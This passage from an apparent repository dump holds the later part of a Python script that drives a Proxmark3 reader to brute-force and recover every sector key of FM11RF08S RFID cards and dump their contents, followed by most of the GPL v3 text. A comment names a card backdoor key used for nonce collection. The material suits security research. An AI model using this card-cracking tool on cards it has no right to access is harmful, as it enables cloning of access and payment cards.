591 | shell=True, 592 | stdout=subprocess.PIPE, 593 | stdin=subprocess.PIPE, 594 | stderr=subprocess.PIPE, 595 | env=env, 596 | ) 597 | out, _ = pm3.communicate(cmd.encode()) 598 | for line in out.decode("gbk").split("\n"): 599 | if "aborted via keyboard" in line: 600 | abort = True 601 | if "found:" in line: 602 | found_keys[sec][key_type] = line[30:].strip() 603 | show_key(real_sec, key_type, found_keys[sec][key_type]) 604 | if abort: 605 | break 606 | if abort: 607 | break 608 | 609 | # If one common key for the sector 610 | if ( 611 | found_keys[sec][0] == "" 612 | and found_keys[sec][1] == "" 613 | and nt[sec][0] == nt[sec][1] 614 | ): 615 | key_type = 0 616 | # Use regular dict 617 | kt = ["a", "b"][key_type] 618 | dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" 619 | cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" 620 | if debug: 621 | print(cmd) 622 | pm3 = subprocess.Popen( 623 | f"{PROXMARK3_CLIENT_PATH}\\proxmark3.exe {port}", 624 | shell=True, 625 | stdout=subprocess.PIPE, 626 | stdin=subprocess.PIPE, 627 | stderr=subprocess.PIPE, 628 | env=env, 629 | ) 630 | out, _ = pm3.communicate(cmd.encode()) 631 | for line in out.decode("gbk").split("\n"): 632 | if "aborted via keyboard" in line: 633 | abort = True 634 | if "found:" in line: 635 | found_keys[sec][0] = line[30:].strip() 636 | found_keys[sec][1] = line[30:].strip() 637 | show_key(real_sec, 0, found_keys[sec][key_type]) 638 | show_key(real_sec, 1, found_keys[sec][key_type]) 639 | if abort: 640 | break 641 | 642 | # If one key is missing, use the other one with 2x1nt1key 643 | if ((found_keys[sec][0] == "") ^ (found_keys[sec][1] == "")) and nt[sec][ 644 | 0 645 | ] != nt[sec][1]: 646 | if found_keys[sec][0] == "": 647 | key_type_source = 1 648 | key_type_target = 0 649 | else: 650 | key_type_source = 0 651 | key_type_target = 1 652 | if duplicates_dicts[sec][key_type_target]: 653 | dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_duplicates.dic" 654 | elif filtered_dicts[sec][key_type_target]: 655 | dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_filtered.dic" 656 | else: 657 | dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}.dic" 658 | cmd = [ 659 | tools["staticnested_2x1nt1key"], 660 | nt[sec][key_type_source], 661 | found_keys[sec][key_type_source], 662 | dic, 663 | ] 664 | if debug: 665 | print(" ".join(cmd)) 666 | result = subprocess.run(cmd, capture_output=True, text=True).stdout 667 | keys = set() 668 | for line in result.split("\n"): 669 | if "MATCH:" in line: 670 | keys.add(line[12:]) 671 | if len(keys) > 1: 672 | kt = ["a", "b"][key_type_target] 673 | cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} --no-default" 674 | for k in keys: 675 | cmd += f" -k {k}" 676 | if debug: 677 | print(cmd) 678 | pm3 = subprocess.Popen( 679 | f"{PROXMARK3_CLIENT_PATH}\\proxmark3.exe {port}", 680 | shell=True, 681 | stdout=subprocess.PIPE, 682 | stdin=subprocess.PIPE, 683 | stderr=subprocess.PIPE, 684 | env=env, 685 | ) 686 | out, _ = pm3.communicate(cmd.encode()) 687 | for line in out.decode("gbk").split("\n"): 688 | if "aborted via keyboard" in line: 689 | abort = True 690 | if "found:" in line: 691 | found_keys[sec][key_type_target] = line[30:].strip() 692 | elif len(keys) == 1: 693 | found_keys[sec][key_type_target] = keys.pop() 694 | if found_keys[sec][key_type_target] != "": 695 | show_key(real_sec, key_type_target, found_keys[sec][key_type_target]) 696 | if abort: 697 | break 698 | 699 | if abort: 700 | show("Brute-forcing phase aborted via keyboard!") 701 | final_check = False 702 | 703 | plus = "[" + color("+", fg="green") + "] " 704 | if final_check: 705 | show("Letting fchk do a final dump, just for confirmation and display...") 706 | keys_set = set([i for sl in found_keys for i in sl if i != ""]) 707 | with open(f"keys_{uid:08x}.dic", "w") as f: 708 | for k in keys_set: 709 | f.write(f"{k}\n") 710 | cmd = f"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump" 711 | if debug: 712 | print(cmd) 713 | pm3.stdin.write(cmd, capture=False, quiet=False) 714 | else: 715 | show() 716 | show(color("found keys:", fg="green"), prompt=plus) 717 | show(prompt=plus) 718 | show("-----+-----+--------------+---+--------------+----", prompt=plus) 719 | show(" Sec | Blk | key A |res| key B |res", prompt=plus) 720 | show("-----+-----+--------------+---+--------------+----", prompt=plus) 721 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): 722 | real_sec = sec 723 | if sec >= NUM_SECTORS: 724 | real_sec += 16 725 | keys = [["", 0], ["", 0]] 726 | for key_type in [0, 1]: 727 | if found_keys[sec][key_type] == "": 728 | keys[key_type] = [ 729 | color("------------", fg="red"), 730 | color("0", fg="red"), 731 | ] 732 | else: 733 | keys[key_type] = [ 734 | color(found_keys[sec][key_type], fg="green"), 735 | color("1", fg="green"), 736 | ] 737 | show( 738 | f" {real_sec:03} | {real_sec*4+3:03} | " 739 | + f"{keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ", 740 | prompt=plus, 741 | ) 742 | show("-----+-----+--------------+---+--------------+----", prompt=plus) 743 | show( 744 | "( " 745 | + color("0", fg="red") 746 | + ":Failed / " 747 | + color("1", fg="green") 748 | + ":Success )", 749 | prompt=plus, 750 | ) 751 | show() 752 | show("Generating binary key file", prompt=plus) 753 | keyfile = f"{save_path}hf-mf-{uid:08X}-key.bin" 754 | unknown = False 755 | with open(keyfile, "wb") as f: 756 | for key_type in [0, 1]: 757 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): 758 | k = found_keys[sec][key_type] 759 | if k == "": 760 | k = "FFFFFFFFFFFF" 761 | unknown = True 762 | f.write(bytes.fromhex(k)) 763 | show( 764 | "Found keys have been dumped to `" + color(keyfile, fg="yellow") + "`", 765 | prompt=plus, 766 | ) 767 | if unknown: 768 | show( 769 | " --[ " 770 | + color("FFFFFFFFFFFF", fg="yellow") 771 | + " ]-- has been inserted for unknown keys", 772 | prompt="[" + color("=", fg="yellow") + "]", 773 | ) 774 | show("Generating final dump file", prompt=plus) 775 | dumpfile = f"{save_path}hf-mf-{uid:08X}-dump.bin" 776 | with open(dumpfile, "wb") as f: 777 | for sec in range(NUM_SECTORS): 778 | for b in range(4): 779 | d = data[(sec * 4) + b] 780 | if b == 3: 781 | ka = found_keys[sec][0] 782 | kb = found_keys[sec][1] 783 | if ka == "": 784 | ka = "FFFFFFFFFFFF" 785 | if kb == "": 786 | kb = "FFFFFFFFFFFF" 787 | d = ka + d[12:20] + kb 788 | f.write(bytes.fromhex(d)) 789 | show( 790 | "Data has been dumped to `" + color(dumpfile, fg="yellow") + "`", 791 | prompt=plus, 792 | ) 793 | 794 | # Remove generated dictionaries after processing 795 | if not keep: 796 | show("Removing generated dictionaries...", prompt=plus) 797 | for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): 798 | real_sec = sec 799 | if sec >= NUM_SECTORS: 800 | real_sec += 16 801 | for key_type in [0, 1]: 802 | for append in ["", "_filtered", "_duplicates"]: 803 | file_name = ( 804 | f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}{append}.dic" 805 | ) 806 | if os.path.isfile(file_name): 807 | os.remove(file_name) 808 | 809 | elapsed_time3 = time.time() - start_time - elapsed_time1 - elapsed_time2 810 | minutes = int(elapsed_time3 // 60) 811 | seconds = int(elapsed_time3 % 60) 812 | show( 813 | "----Step 3: " 814 | + color(f"{minutes:2}", fg="yellow") 815 | + " minutes " 816 | + color(f"{seconds:2}", fg="yellow") 817 | + " seconds -----------" 818 | ) 819 | 820 | elapsed_time = time.time() - start_time 821 | minutes = int(elapsed_time // 60) 822 | seconds = int(elapsed_time % 60) 823 | show( 824 | "---- TOTAL: " 825 | + color(f"{minutes:2}", fg="yellow") 826 | + " minutes " 827 | + color(f"{seconds:2}", fg="yellow") 828 | + " seconds -----------" 829 | ) 830 | 831 | return { 832 | "keyfile": keyfile, 833 | "found_keys": found_keys, 834 | "dumpfile": dumpfile, 835 | "data": data, 836 | } 837 | 838 | 839 | def main(): 840 | parser = argparse.ArgumentParser( 841 | description="A script combining staticnested* tools " 842 | "to recover all keys from a FM11RF08S card." 843 | ) 844 | parser.add_argument( 845 | "-x", 846 | "--init-check", 847 | action="store_true", 848 | help="Run an initial fchk for default keys", 849 | ) 850 | parser.add_argument( 851 | "-y", 852 | "--final-check", 853 | action="store_true", 854 | help="Run a final fchk with the found keys", 855 | ) 856 | parser.add_argument( 857 | "-k", 858 | "--keep", 859 | action="store_true", 860 | help="Keep generated dictionaries after processing", 861 | ) 862 | parser.add_argument("-d", "--debug", action="store_true", help="Enable debug mode") 863 | parser.add_argument( 864 | "-s", 865 | "--supply-chain", 866 | action="store_true", 867 | help="Enable supply-chain mode. " "Look for hf-mf-XXXXXXXX-default_nonces.json", 868 | ) 869 | parser.add_argument( 870 | "-p", 871 | "--port", 872 | type=str, 873 | help="Set the serial port", 874 | ) 875 | # Such json can be produced from the json saved by 876 | # "hf mf isen --collect_fm11rf08s --key A396EFA4E24F" on a wiped card, then processed with 877 | # jq '{Created: .Created, FileType: "fm11rf08s_default_nonces", nt: .nt | del(.["32"]) | map_values(.a)}' 878 | args = parser.parse_args() 879 | 880 | recovery( 881 | init_check=args.init_check, 882 | final_check=args.final_check, 883 | keep=args.keep, 884 | debug=args.debug, 885 | supply_chain=args.supply_chain, 886 | quiet=False, 887 | port=args.port, 888 | ) 889 | 890 | 891 | if __name__ == "__main__": 892 | main() 893 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this 